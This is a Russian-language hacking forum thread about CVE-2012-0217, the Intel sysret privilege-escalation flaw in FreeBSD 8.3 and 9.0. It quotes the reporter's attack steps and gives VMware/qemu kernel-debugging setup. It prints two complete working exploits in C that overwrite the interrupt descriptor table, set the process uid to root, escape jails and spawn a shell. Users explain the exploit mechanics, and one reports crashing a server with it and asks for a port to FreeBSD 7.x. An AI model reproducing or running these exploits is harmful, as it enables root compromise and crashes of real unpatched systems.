Старый 26.06.2012, 11:42   #11
Pashkela
 
Аватар для Pashkela
 
Регистрация: 05.07.2010
Сообщений: 1,243
По умолчанию

Цитата:
У кого какие идеи, как сделать в rip неканонический адрес при сисколле?
Details from the reporter, Rafal Wojtczuk

Attack steps (done by ring3 attacker)
  • Map a frame at virtual address (1<<47)-4096
  • Any method to set the target of sysret to a non-canonical address can potentially be used. This includes ptrace, sys_sigreturn, sigaction, execve, possibly others. The best solution is to add a check for the address being non-canonical close before executing sysret. Note if the syscall handler ends with iret, then even if iret throws #GP, rsp is not controlled by the attacker, and such the situation can be handled safely.
  • Place a syscall instruction at address (1<<47)-2
  • Place SOMETHING_MALICIOUS in general purpose registers
  • Set rsp to AROUND_SOME_IMPORTANT_RING0_STRUCTURE
  • Other scenarios are possible. Whenever the #GP handler runs with usermode rsp, or does not do swapgs correctly, code execution may be possible.
  • Jump to syscall instruction at (1<<47)-2

At the syscall handler entry, rcx will be set to (1<<47)-2+instruction_len(syscall) = 1<<47, which is non-canonical. Therefore, when the syscallhandler terminates with sysret, #GPwill be raised. This fault will be handled without a stack switch (assuming #GP entry in IDT does not include a nonzero IST index), as the faulting instruction is in ring0. Only Intel CPUs are affected. On AMD CPUs, sysret completes the switch to ring3 before throwing #GP, so the stack switch occurs. Also, immediately before sysret, the syscall handler must restore rsp to the value set by ring3 (because syscall/sysret do not set rsp). Therefore, the #GP handler will execute with rsp chosen by the attacker, so when GPRs are pushed on the stack in the #GP handler prologue, SOMETHING_MALICIOUS will be placed at AROUND_SOME_IMPORTANT_RING0_STRUCTURE. This write-anything-anywhere primitive could be enough to hijack execution in ring0. Additionally, in many cases, gs base is not swapped in the #GP prologue (as the fault originates in ring0), which may make the exploitation quite reliable and stable - overwrite #PF IDT entry via stack push, trigger #PF by gs access, repair IDT (from IDT table of other cpu) in the shellcode, return to usermode.

+

обсуждение этого на тарабарском (кстати тут автор этого видео - https://www.youtube.com/watch?v=1UeJXokbja0):

http://hup.hu/cikkek/20120613/sysret...pu-s_hardveren

онлайн переводчик с венгерского: http://mrtranslate.ru/translate/hungarian-russian.html

Последний раз редактировалось Pashkela; 26.06.2012 в 12:34..
Pashkela вне форума   Ответить с цитированием
Старый 03.07.2012, 20:07   #12
overxor
 
Регистрация: 14.10.2011
Сообщений: 73
Репутация: 90
По умолчанию

Pashkela, thx за инфу. Rafal Wojtczuk, достаточно подробно описал шаги эксплуатации.
Для тех, кто хотел бы покопаться в баге. Ставте бряк на Xprot и потом уже вызывайте сплойт с фаултом.
Отлаживать можно вполне и удаленно. Для VMWare надо добавить в <Имя машины>.vmx
Цитата:
debugStub.listen.guest64=1
debugStub.listen.guest64.remote="TRUE"
Для qemu:
обязательно надо запускать с -kernel-kqemu опцией, иначе он эмулирует sysret.
и опцией -s

После в клиенте gdb
file <путь до отлаживаемого ядра>
target remote localhost:8864
или для qemu
target remote addr:1234

Основная сложность с восстановлением idt таблицы и определением обработчиков для прерываний, но она легко решается чтением данных из самого ядра(по умолчанию ядро доступно всем для чтения)
Пока только версия под 9ку, скоро остальные добавлю.
Подозреваю, что разниться будет только STATIC_OFFSET между версиями.

POC (bsd 9 and 8.3 x64)
Код:
#include <stdio.h>
#include <string.h>
#include <unistd.h>

#define _WANT_UCRED
#include <sys/ucred.h>
#include <sys/types.h>
#include <sys/mman.h>
#include <sys/proc.h>
#include <sys/param.h>
#include <sys/linker.h>
#include <sys/utsname.h>

#include <machine/segments.h>
#include <machine/intr_machdep.h>

#define STATIC_OFFSET 0x250

struct gate_descriptor *gt;
void *uaddr, *ustack;

unsigned char shellcode[] = 
  "\x48\xb8\x18\x00\x00\x00\x00\x00\x00\x00" // mov rax, 0x14
  "\x48\xba\x00\x00\x20\x00\x00\x8e\x00\x00" // mov rdx, 0xZZZZ000020XXXX # hijack of the handler PF at 0x00000000ZZZZXXXX
  "\x48\xbc\xb0\x41\x18\x81\xff\xff\xff\xff" // mov rsp, 0xRRRRRRRRRRRRRR # (idt + 0x250)
  "\x0f\x05"; 	 			     //	syscall 

struct restore_entry {
	u_char idx;
	u_char dpl;
	void *addr;
	u_char name[10];
} entries[]  = {{ 0, 	  0, NULL, "idt0" },
		{ 0,  	  0, NULL, "Xrsvd"},
		{ IDT_DE, 0, NULL, "Xdiv" },
		{ IDT_DB, 0, NULL, "Xdbg" },
		{ IDT_NMI,2, NULL, "Xnmi" },
		{ IDT_BP, 0, NULL, "Xbpt" },
		{ IDT_OF, 0, NULL, "Xofl" }, 
		{ IDT_BR, 0, NULL, "Xbnd" }, 
		{ IDT_UD, 0, NULL, "Xill" },
		{ IDT_NM, 0, NULL, "Xdna" },
		{ IDT_DF, 1, NULL, "Xdblfault" },
		{ IDT_FPUGP, 0, NULL, "Xfpusegm" },
		{ IDT_TS, 0, NULL, "Xtss" },
		{ IDT_NP, 0, NULL, "Xmissing" },
		{ IDT_SS, 0, NULL, "Xstk"  },
		{ IDT_GP, 0, NULL, "Xprot" },
		{ IDT_PF, 0, NULL, "Xpage" },
		{ IDT_MF, 0, NULL, "Xfpu"  },
		{ IDT_AC, 0, NULL, "Xalign"},
		{ IDT_MC, 0, NULL, "Xmchk" },
		{ IDT_XF, 0, NULL, "Xxmm"  }};

void *
resolve_addr(char *func)
{
	u_int64_t addr = 0;
	struct kld_sym_lookup ksym;

	ksym.version = sizeof(ksym);
	ksym.symname = func;
	
	if(!kldsym(0, KLDSYM_LOOKUP, &ksym)) 
		addr = ksym.symvalue;

	return (void *)addr;
}

void
exit_usermode(void)
{
	system("/bin/sh -i");
	_exit(0);
}

void
setidt(idx, func, typ, dpl, ist)
        int idx;
        void *func;
        int typ;
        int dpl;
        int ist;
{
	struct gate_descriptor *ip;

	ip = gt + idx;
	ip->gd_looffset = (uintptr_t)func;
	ip->gd_selector = GSEL(GCODE_SEL, SEL_KPL);
	ip->gd_ist = ist;
	ip->gd_xx = 0;
	ip->gd_type = typ;
	ip->gd_dpl = dpl;
	ip->gd_p = 1;
	ip->gd_hioffset = ((uintptr_t)func)>>16 ;
}

void
check_version()
{
	struct utsname uts;
	uname(&uts);

	if(!(!strncmp(uts.version, "FreeBSD 9.0", 11) ||
	     !strncmp(uts.version, "FreeBSD 8.3", 11))) {
		fprintf(stderr, "Not vulnerable. FreeBSD 9.0 and 8.3 only!\n");
		_exit(1);
	}
}

void
kernel_code(void)
{
	int x, i;
	struct thread *td;
	struct proc *parent;

	__asm("movq %r10, %rsp");	

	for(x = 0; x < 29; x ++) {
		setidt(x, (void *)entries[1].addr, SDT_SYSIGT, SEL_KPL, 0);
	}

	for(x = 2; x < sizeof(entries) / sizeof(struct restore_entry); x ++) {
		setidt(entries[x].idx, entries[x].addr, SDT_SYSIGT, SEL_KPL, entries[x].dpl);
	}
	
	asm volatile ( "swapgs\n" 
				   "movq %%gs:0, %0":"=r"(td) );

	td->td_proc->p_ucred->cr_uid = 0;
	
	parent = td->td_proc;
	while (parent->p_pptr && parent->p_pid != 1)
		parent = parent->p_pptr;

	td->td_proc->p_fd->fd_rdir = parent->p_fd->fd_rdir;
	td->td_proc->p_fd->fd_jdir = parent->p_fd->fd_jdir;
	td->td_proc->p_fd->fd_cdir = parent->p_fd->fd_cdir;
	td->td_proc->p_ucred->cr_prison = parent->p_ucred->cr_prison;

	/* Return in lusermode %) */
	asm volatile ("movq %0, %%rcx\n"
				  "movq %1, %%rsp\n"
				  "swapgs\n"
				  "sysretq"::"r"(uaddr),"r"(ustack)); 
}

int
main(int argc, char *argv[])
{
	int x;
	u_short high, low;
	u_int64_t kaddr;

	check_version();

	void *maddr = mmap((void *)0x7ffffffff000, 0x1000, PROT_READ | PROT_WRITE | PROT_EXEC, MAP_FIXED | MAP_ANON, -1, 0);
	if(maddr == MAP_FAILED) {
		perror("Error mmaped address");
		return -1;
	}

	memset(maddr, 0x90, 0x1000);
	memcpy(maddr + 0x1000 - (sizeof(shellcode) - 1), shellcode, sizeof(shellcode) - 1);

	/* Resolve all addresses */
	for(x = 0; x < sizeof(entries) / sizeof(struct restore_entry); x ++) {
		entries[x].addr = resolve_addr(entries[x].name);
		if(entries[x].addr == NULL) {
			printf("Can't resolve address for function %s\n", entries[x].name);
			return -1;
		}
	}

	gt = entries[0].addr;

	kaddr = (u_int64_t)&kernel_code;
	uaddr = &exit_usermode;
	__asm("movq %%rsp, %0" : "=m"(ustack));

	high = (kaddr >> 16);
	low  = (kaddr);

	char *ptr = (char *)0x800000000000 - 20;
	*(u_short *)ptr = low;
	ptr = (char *)0x800000000000 - 14;
	*(u_short *)ptr = high; 
	ptr = (char *)0x800000000000 - 10;
	*(u_int64_t *)ptr = (u_int64_t)((char *)gt + STATIC_OFFSET);

	(*(void(*)()) maddr)();
}
P.S. Добавлен обход jail.
__________________
[IO]

Последний раз редактировалось overxor; 27.03.2013 в 12:50..
overxor вне форума   Ответить с цитированием
Старый 04.07.2012, 10:09   #13
SynQ
 
Регистрация: 11.07.2010
Сообщений: 953
Репутация: 352
По умолчанию

overxor
Супер! Объясни pls пару моментов

Цитата:
mov rsp, 0xRRRRRRRRRRRRRR # (idt + 0x250)
Почему пишем именно туда? И каков путь вызова kernel_code()?

Вопросы по ней:

Цитата:
__asm("movq %r10, %rsp");
Зачем? в r10 лежит rsp ядра?

Цитата:
for(x = 0; x < 29; x ++) {
setidt(x, (void *)entries[1].addr, SDT_SYSIGT, SEL_KPL, 0);
}

for(x = 2; x < sizeof(entries) / sizeof(struct restore_entry); x ++) {
setidt(entries[x].idx, entries[x].addr, SDT_SYSIGT, SEL_KPL, entries[x].dpl);
}
Зачем делается первый проход? Что он вообще значит и для чего он? Второй восстанавливает первоначальную IDT?

Цитата:
asm volatile ( "swapgs\n"
"movq %%gs:0, %0":"=r"(td) );
Это мы трогаем %gs, чтобы сгенерировать PF (как пишет Рафау) или просто получаем указатель на thread для апдейта id?


PS Даже если ставить бряк на Xprot в vmware 8 при запуске эксплойта, все-равно ребутается с triple fault. Не знаю, что ей нужно. Может 64-битную хост ОС?

Последний раз редактировалось SynQ; 04.07.2012 в 13:30..
SynQ вне форума   Ответить с цитированием
Старый 04.07.2012, 17:16   #14
overxor
 
Регистрация: 14.10.2011
Сообщений: 73
Репутация: 90
По умолчанию

Спасиб

Цитата:
Сообщение от SynQ Посмотреть сообщение
Цитата:
mov rsp, 0xRRRRRRRRRRRRRR # (idt + 0x250)
Почему пишем именно туда? И каков путь вызова kernel_code()?
На выходе из sysret, из-за неканонического rcx будет прерывание general protection fault. Обработчик вызовет Xprot -> alltraps_pushregs_no_rdi(именно в этой функции записываются регистры общего назначения на стек). Забегая вперед скажу, что rdx кладет именно на поле обработчика для прерывания protection fault при заданном rsp == (idt + 0x250). Т.е. мы подменяем обработчик своей функцией, которой является kernel_code() в сплойте.

Технически это будет выглядеть так:
Код:
0xffffffff81184040 <idt0+224>:	0x00408e0000200b60	0x0000800000000000
                                [      rdx 	 ]	[      rcx	 ]
SwapGS обменивает данные KernelGSbase MSR с gs, что делает возможным к обращению структурам ядра. Так, что перед выходом из Xfast_syscall
<Xfast_syscall+333> swapgs <- происходит переключение и данные ядра становятся недоступны.
и далее по коду
<Xprot+61>:	mov    %gs:0x20,%rdi <- Т.к. структуры ядра недоступны, генерируется прерывание protection fault.
Вызывается обработчик PF, в моем случае это 0x0000000000400b60 (kernel_code())

Теперь по
Цитата:
__asm("movq %r10, %rsp");
Зачем? в r10 лежит rsp ядра?
Да, в r10 лежит указатель на стек, иначе стек просто указывает на idt, что может плохо кончиться. Вообще сплойт и без восстановления rsp отрабатывал, таблица прерываний портилась, но система не падала. На всякий случай лучше оставить.

Цитата:
Сообщение от SynQ Посмотреть сообщение
Цитата:
for(x = 0; x < 29; x ++) {
setidt(x, (void *)entries[1].addr, SDT_SYSIGT, SEL_KPL, 0);
}

for(x = 2; x < sizeof(entries) / sizeof(struct restore_entry); x ++) {
setidt(entries[x].idx, entries[x].addr, SDT_SYSIGT, SEL_KPL, entries[x].dpl);
}
Зачем делается первый проход? Что он вообще значит и для чего он? Второй восстанавливает первоначальную IDT?
Первое идет заполнение всех полей таблицы дефолтным обработчиком. Во втором цикле уже выборочно для используемых. Я старался не отступать от кода ядра в /usr/src/sys/amd64/amd64/machdep.c в функции hammer_time найдешь похожие строки кода.

Цитата:
Сообщение от SynQ Посмотреть сообщение
Цитата:
asm volatile ( "swapgs\n"
"movq %%gs:0, %0":"=r"(td) );
Это мы трогаем %gs, чтобы сгенерировать PF (как пишет Рафау) или просто получаем указатель на thread для апдейта id?
Не не. Здесь мы разрешаем обращение к структурам ядра и получаем указатель на current thread.

Эм... triple fault? После запуска сплойта система совсем перестает работать? Просто если не происходит вызова Xprot, тогда по сути бага с sysret не срабатывает.
Хотелось бы увидеть тесты на реальных системах. Я у себя тестил на VMWare 8 c bsd 9 x64(хостовая система 64 битная) дефолтным ядром и на реальной системе с кастомным ядром, везде отработало нормально. Могу видяшку снять, если надо.
__________________
[IO]
overxor вне форума   Ответить с цитированием
Старый 04.07.2012, 18:02   #15
SynQ
 
Регистрация: 11.07.2010
Сообщений: 953
Репутация: 352
По умолчанию

overxor
Спасибо за ответы. Буду разибраться.

У меня на виртуалке твой эксплойт отрабатывает отлично (vmware 8, freebsd 9), но стоит поставить бряк на Xprot и запустить его, то уже не отрабатывает, а выдает triple fault. Что-то vmware мудрит похоже.

Последний раз редактировалось SynQ; 04.07.2012 в 18:48..
SynQ вне форума   Ответить с цитированием
Старый 05.07.2012, 04:26   #16
overxor
 
Регистрация: 14.10.2011
Сообщений: 73
Репутация: 90
По умолчанию

Проверил, на 8.3 тоже работает без изменения кода.
__________________
[IO]
overxor вне форума   Ответить с цитированием
Старый 08.07.2012, 11:04   #17
SynQ
 
Регистрация: 11.07.2010
Сообщений: 953
Репутация: 352
По умолчанию

iZsh выложил write-up и свой эксплойт:
http://fail0verflow.com/blog/2012/cv...t-freebsd.html

Очень похож на эксплойт от overxor, но есть небольшие отличия. Также 8.3 и 9.0.

Код:
// CVE-2012-0217 Intel sysret exploit -- iZsh (izsh at fail0verflow.com)
// Copyright 2012 all right reserved, not for commercial uses, bitches
// Infringement Punishment: Monkeys coming out of your ass Bruce Almighty style.
#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>
#include <unistd.h>
#include <string.h>
#include <sys/mman.h>
#include <sys/utsname.h>
#include <machine/cpufunc.h>
#define _WANT_UCRED
#include <sys/proc.h>
#include <machine/segments.h>
#include <sys/param.h>
#include <sys/linker.h>

uintptr_t Xofl_ptr, Xbnd_ptr, Xill_ptr, Xdna_ptr, Xpage_ptr, Xfpu_ptr, Xalign_ptr, Xmchk_ptr, Xxmm_ptr;

struct gate_descriptor * sidt()
{
    struct region_descriptor idt;

    asm ("sidt %0": "=m"(idt));

    return (struct gate_descriptor*)idt.rd_base;
}

u_long get_symaddr(char *symname)
{
    struct kld_sym_lookup ksym;

    ksym.version = sizeof (ksym);
    ksym.symname = symname;

    if (kldsym(0, KLDSYM_LOOKUP, &ksym) < 0) {
        perror("kldsym");
        exit(1);
    }
    printf("    [+] Resolved %s to %#lx\n", ksym.symname, ksym.symvalue);
    return ksym.symvalue;
}

// Code taken from amd64/amd64/machdep.c
void setidt(struct gate_descriptor *idt, int idx, uintptr_t func, int typ, int dpl, int ist)
{
    struct gate_descriptor *ip;

    ip = idt + idx;
    ip->gd_looffset = func;
    ip->gd_selector = GSEL(GCODE_SEL, SEL_KPL);
    ip->gd_ist = ist;
    ip->gd_xx = 0;
    ip->gd_type = typ;
    ip->gd_dpl = dpl;
    ip->gd_p = 1;
    ip->gd_hioffset = func>>16;
}

void shellcode()
{
    // Actually we dont really need to spawn a shell since we
    // changed our whole cred struct.
    // Just exit...
    printf("[*] Got root!\n");
    exit(0);
}

void kernelmodepayload()
{
    struct thread *td;
    struct ucred *cred;

    // We need to restore/recover whatever we smashed
    // We inititalized rsp to idt[14] + 10*8, i.e. idt[19] (see trigger())
    // The #GP exception frame writes 6*64bit registers, i.e. it overwrites
    // idt[18], idt[17] and idt[16]
    // thus overall we have:
    // - idt[18], idt[17] and idt[16] are trashed
    // - tf_addr -> overwrites the 64bit-LSB of idt[15]
    // - tf_trapno -> overwrites Target Offset[63:32] of idt[14]
    // - rdi -> overwrites the 64bit-LSB of idt[7]
    // - #PF exception frame overwrites idt[6], idt[5] and idt[4]
    struct gate_descriptor *idt = sidt();
    setidt(idt, IDT_OF, Xofl_ptr, SDT_SYSIGT, SEL_KPL, 0); // 4
    setidt(idt, IDT_BR, Xbnd_ptr, SDT_SYSIGT, SEL_KPL, 0); // 5
    setidt(idt, IDT_UD, Xill_ptr, SDT_SYSIGT, SEL_KPL, 0); // 6
    setidt(idt, IDT_NM, Xdna_ptr, SDT_SYSIGT, SEL_KPL, 0); // 7
    setidt(idt, IDT_PF, Xpage_ptr, SDT_SYSIGT, SEL_KPL, 0); // 14
    setidt(idt, IDT_MF, Xfpu_ptr, SDT_SYSIGT, SEL_KPL, 0); // 15
    setidt(idt, IDT_AC, Xalign_ptr, SDT_SYSIGT, SEL_KPL, 0); // 16
    setidt(idt, IDT_MC, Xmchk_ptr, SDT_SYSIGT, SEL_KPL, 0); // 17
    setidt(idt, IDT_XF, Xxmm_ptr, SDT_SYSIGT, SEL_KPL, 0); // 18

    // get the thread pointer
    asm ("mov %%gs:0, %0" : "=r"(td));

    // The Dark Knight Rises
    cred = td->td_proc->p_ucred;
    cred->cr_uid = cred->cr_ruid = cred->cr_rgid = 0;
    cred->cr_groups[0] = 0;

    // return to user mode to spawn the shell
    asm ("swapgs; sysretq;" :: "c"(shellcode)); // store the shellcode addr to rcx
}

#define TRIGGERCODESIZE 20
#define TRAMPOLINECODESIZE 18

void trigger()
{
    printf("[*] Setup...\n");
    // Allocate one page just before the non-canonical address
    printf("    [+] Trigger code...\n");
    uint64_t pagesize = getpagesize();
    uint8_t * area = (uint8_t*)((1ULL << 47) - pagesize);
    area = mmap(area, pagesize,
        PROT_READ | PROT_WRITE | PROT_EXEC,
        MAP_FIXED | MAP_ANON | MAP_PRIVATE, -1, 0);
    if (area == MAP_FAILED) {
        perror("mmap (trigger)");
        exit(1);
    }

    // Copy the trigger code at the end of the page
    // such that the syscall instruction is at its
    // boundary
    char triggercode[] =
        "\xb8\x18\x00\x00\x00" // mov rax, 24; #getuid
        "\x48\x89\xe3" // mov rbx, rsp; save the user's stack for later
        "\x48\xbc\xbe\xba\xfe\xca\xde\xc0\xad\xde" // mov rsp, 0xdeadc0decafebabe
        "\x0f\x05"; // syscall

    uint8_t * trigger_addr = area + pagesize - TRIGGERCODESIZE;
    memcpy(trigger_addr, triggercode, TRIGGERCODESIZE);

    // There are two outcomes given a target rsp:
    // - if rsp can't be written to, a double fault is triggered
    //   (Xdblfault defined in sys/amd64/amd64/exception.S)
    //   and the exception frame is pushed to a special stack
    // - otherwise a #GP is triggered
    //   (Xprot defined in sys/amd64/amd64/exception.S)
    //   and the exception frame is pushed to [rsp]
    //
    // In the latter case, trouble is... #GP triggers a page fault
    // (Xpage):
    //  IDTVEC(prot)
    //      subq    $TF_ERR,%rsp
    //  [1] movl    $T_PROTFLT,TF_TRAPNO(%rsp)
    //  [2] movq    $0,TF_ADDR(%rsp)
    //  [3] movq    %rdi,TF_RDI(%rsp)   /* free up a GP register */
    //      leaq    doreti_iret(%rip),%rdi
    //      cmpq    %rdi,TF_RIP(%rsp)
    //      je  1f          /* kernel but with user gsbase!! */
    //  [4] testb   $SEL_RPL_MASK,TF_CS(%rsp) /* Did we come from kernel? */
    //      jz  2f          /* already running with kernel GS.base */
    //  1:  swapgs
    //  2:  movq    PCPU(CURPCB),%rdi [5]
    //
    // [4] sets the Z flag because we come from the kernel (while executing sysret)
    // and we therefore skip swapgs. But GS is in fact the user GS.base! Indeed
    // it was restored just before calling sysret...
    // Thus, [5] triggers a pagefault while trying to access gs:data
    // If we don't do anything we'll eventually doublefault, tripplefault etc. and crash
    //
    // We therefore need a way: (1) to recover from the GP, (2) to clean
    // any mess we did. Both could be solved if we can get get an arbitrary
    // code execution by the time we reach [5] (NB: this is not mandatory, we could
    // get the code execution later down the fault trigger chain)
    //
    // So... here is the idea: wouldn't it be nice if we could overwrite the
    // page fault handler's address and therefore get code execution when [5]
    // triggers the #PF?
    //
    // For reference:
    // Gate descriptor:
    // +0: Target Offset[15:0] | Target Selector
    // +4: Some stuff | Target Offset[31:16]
    // +8: Target Offset[63:32]
    // +12: Stuff
    //
    // and from include/frame.h:
    //  struct trapframe {
    //      register_t  tf_rdi;
    //      register_t  tf_rsi;
    //      register_t  tf_rdx;
    //      register_t  tf_rcx;
    //      register_t  tf_r8;
    //      register_t  tf_r9;
    //      register_t  tf_rax;
    //      register_t  tf_rbx;
    //      register_t  tf_rbp;
    //      register_t  tf_r10;
    //      register_t  tf_r11;
    //      register_t  tf_r12;
    //      register_t  tf_r13;
    //      register_t  tf_r14;
    //      register_t  tf_r15;
    //      uint32_t    tf_trapno;
    //      uint16_t    tf_fs;
    //      uint16_t    tf_gs;
    //      register_t  tf_addr;
    //      uint32_t    tf_flags;
    //      uint16_t    tf_es;
    //      uint16_t    tf_ds;
    //      /* below portion defined in hardware */
    //      register_t  tf_err;
    //      register_t  tf_rip;
    //      register_t  tf_cs;
    //      register_t  tf_rflags;
    //      register_t  tf_rsp;
    //      register_t  tf_ss;
    //  };
    //
    // When the exception is triggered, the hardware pushes
    // ss, rsp, rflags, cs, rip and err
    //
    // We can see that [1], [2] and [3] write to the stack
    // [3] is fully user-controlled through rdi, so we could try to align
    // rsp such that [3] overwrites the offset address
    //
    // The trouble is... rsp is 16byte aligned for exceptions. We can
    // therefore only overwrite the first 32-LSB of the offset address
    // (check how rdi is 16byte aligned in this trapframe)
    //
    // [2] writes 0 to tf_addr which is also 16byte aligned. So no dice.
    // That leaves us with [1] which writes T_PROTFLT (0x9) to tf_trapno
    // and tf_trapno is 16byte aligned + 8!
    // This enables us to set Target Offset[63:32] to 0x9
    //
    // We set rsp to &idt[14] + 10 * 8 (to align tf_trapno with Offset[63:32])
    *(uint64_t*)(trigger_addr + 10) = (uint64_t)(((uint8_t*)&sidt()[14]) + 10 * 8);
    // Hence, the #PF handler's address is now 0x9WWXXYYZZ
    // Furthermore, WWXXYYZZ is known since we can get (see get_symaddr()) the #PF's address
    // Thus, the idea is to setup a trampoline code at 0x9WWXXYYZZ which does
    // some setup and jump to our kernel mode code
    printf("    [+] Trampoline code...\n");
    char trampolinecode[] =
        "\x0f\x01\xf8" // swapgs; switch back to the kernel's GS.base
        "\x48\x89\xdc" // mov rsp, rbx; restore rsp, it's enough to use the user's stack
        "\x48\xb8\xbe\xba\xfe\xca\xde\xc0\xad\xde" // mov rax, 0xdeadc0decafebabe
        "\xff\xe0"; // jmp rax

    uint8_t * trampoline = (uint8_t*)(0x900000000 | (Xpage_ptr & 0xFFFFFFFF));
    size_t trampoline_allocsize = pagesize;
    // We round the address to the PAGESIZE for the allocation
    // Not enough space for the trampoline code ?
    if ((uint8_t*)((uint64_t)trampoline & ~(pagesize-1)) + pagesize < trampoline + TRAMPOLINECODESIZE)
        trampoline_allocsize += pagesize;
    if (mmap((void*)((uint64_t)trampoline & ~(pagesize-1)), trampoline_allocsize,
        PROT_READ | PROT_WRITE | PROT_EXEC,
        MAP_FIXED | MAP_ANON | MAP_PRIVATE, -1, 0) == MAP_FAILED)
    {
        perror("mmap (trampoline)");
        exit(1);
    }
    memcpy(trampoline, trampolinecode, TRAMPOLINECODESIZE);
    *(uint64_t*)(trampoline + 8) = (uint64_t)kernelmodepayload;
    // Call it
    printf("[*] Fire in the hole!\n");
    ((void (*)())trigger_addr)();
}

typedef struct validtarget
{
    char * sysname;
    char * release;
    char * machine;
} validtarget_t;

int validate_target(char * sysname, char * release, char * machine)
{
    validtarget_t targets[] = {
        { "FreeBSD", "8.3-RELEASE", "amd64" },
        { "FreeBSD", "9.0-RELEASE", "amd64" },
        { 0, 0, 0 }
    };

    int found = 0;
    int i = 0;

    while (!found && targets[i].sysname) {
        found = !strcmp(targets[i].sysname, sysname)
            && !strcmp(targets[i].release, release)
            && !strcmp(targets[i].machine, machine);
        ++i;
    }
    return found;
}

void get_cpu_vendor(char * cpu_vendor)
{
    u_int regs[4];

    do_cpuid(0, regs);
   ((u_int *)cpu_vendor)[0] = regs[1];
   ((u_int *)cpu_vendor)[1] = regs[3];
   ((u_int *)cpu_vendor)[2] = regs[2];
   cpu_vendor[12] = '\0';
}

int is_intel()
{
    char cpu_vendor[13];

    get_cpu_vendor(cpu_vendor);
    return !strcmp(cpu_vendor, "GenuineIntel");
}

int main(int argc, char *argv[])
{
    printf("CVE-2012-0217 Intel sysret exploit -- iZsh (izsh at fail0verflow.com)\n\n");

    printf("[*] Retrieving host information...\n");
    char cpu_vendor[13];
    get_cpu_vendor(cpu_vendor);
    struct utsname ver;
    uname(&ver);
    printf("    [+] CPU: %s\n", cpu_vendor);
    printf("    [+] sysname: %s\n", ver.sysname);
    printf("    [+] release: %s\n", ver.release);
    printf("    [+] version: %s\n", ver.version);
    printf("    [+] machine: %s\n", ver.machine);
    printf("[*] Validating target OS and version...\n");
    if (!is_intel() || !validate_target(ver.sysname, ver.release, ver.machine)) {
        printf("    [+] NOT Vulnerable :-(\n");
        exit(1);
    } else
        printf("    [+] Vulnerable :-)\n");
    // Prepare the values we'll need to restore the kernel to a stable state
    printf("[*] Resolving kernel addresses...\n");
    Xofl_ptr = (uintptr_t)get_symaddr("Xofl");
    Xbnd_ptr = (uintptr_t)get_symaddr("Xbnd");
    Xill_ptr = (uintptr_t)get_symaddr("Xill");
    Xdna_ptr = (uintptr_t)get_symaddr("Xdna");
    Xpage_ptr = (uintptr_t)get_symaddr("Xpage");
    Xfpu_ptr = (uintptr_t)get_symaddr("Xfpu");
    Xalign_ptr = (uintptr_t)get_symaddr("Xalign");
    Xmchk_ptr = (uintptr_t)get_symaddr("Xmchk");
    Xxmm_ptr = (uintptr_t)get_symaddr("Xxmm");
    // doeet!
    trigger();
    return 0;
}
Твит про работу на 7.4: @izsh1911: On FreeBSD 7.4 the trap_frame is different n Xprot as well.Hence the #exploit would need to be adapted

Последний раз редактировалось SynQ; 08.07.2012 в 11:38..
SynQ вне форума   Ответить с цитированием
Старый 08.07.2012, 12:23   #18
euro
 
Регистрация: 09.07.2010
Сообщений: 66
Репутация: 8
По умолчанию

сплоит с 12 поста отправил сервак в даун

Код:
uname -a
FreeBSD  7.4-STABLE FreeBSD 7.4-STABLE #4: Sun Oct  2 19:50:29 EEST 2011     root@xxx.com:/usr/obj/usr/src/sys/ALLT  amd64

sysctl -a|grep "hw."
vfs.flushwithdeps: 0
debug.hwpstate_verbose: 0
hw.machine: amd64
hw.model: Intel(R) Xeon(R) CPU           X3210  @ 2.13GHz
последний сплоит не отработал (
euro вне форума   Ответить с цитированием
Старый 09.07.2012, 10:17   #19
SynQ
 
Регистрация: 11.07.2010
Сообщений: 953
Репутация: 352
По умолчанию

Эти эксплойты для 9.0 и 8.3.
SynQ вне форума   Ответить с цитированием
Старый 09.07.2012, 14:00   #20
euro
 
Регистрация: 09.07.2010
Сообщений: 66
Репутация: 8
По умолчанию

жаль, а на 7.х портирование стоит ждать ? )
euro вне форума   Ответить с цитированием
Ответ

Метки
freebsd, kernel, privilege escalation

Опции темы Поиск в этой теме
Поиск в этой теме:

Расширенный поиск
Опции просмотра

Ваши права в разделе
Вы не можете создавать новые темы
Вы не можете отвечать в темах
Вы не можете прикреплять вложения
Вы не можете редактировать свои сообщения

BB коды Вкл.
Смайлы Вкл.
[IMG] код Вкл.
HTML код Выкл.

Быстрый переход



Powered by vBulletin® Version 3.8.5
Copyright ©2000 - 2019, Jelsoft Enterprises Ltd. Перевод: zCarot